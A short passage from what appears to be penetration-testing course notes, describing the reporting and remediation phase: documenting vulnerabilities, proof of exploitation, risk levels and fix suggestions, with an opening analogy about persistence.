Like a thief planting a hidden key to come back later.

Phase 5: Reporting and Remediation

Purpose:

- Document the test findings with **technical and business impact**
- Provide **recommendations** for fixing vulnerabilities

Report Includes:

- List of vulnerabilities
- Proof of exploitation
- Risk levels (High/Medium/Low)
- Fix suggestions (patching, reconfiguration)

The goal is not to break things — it's to help **secure them**.

Q.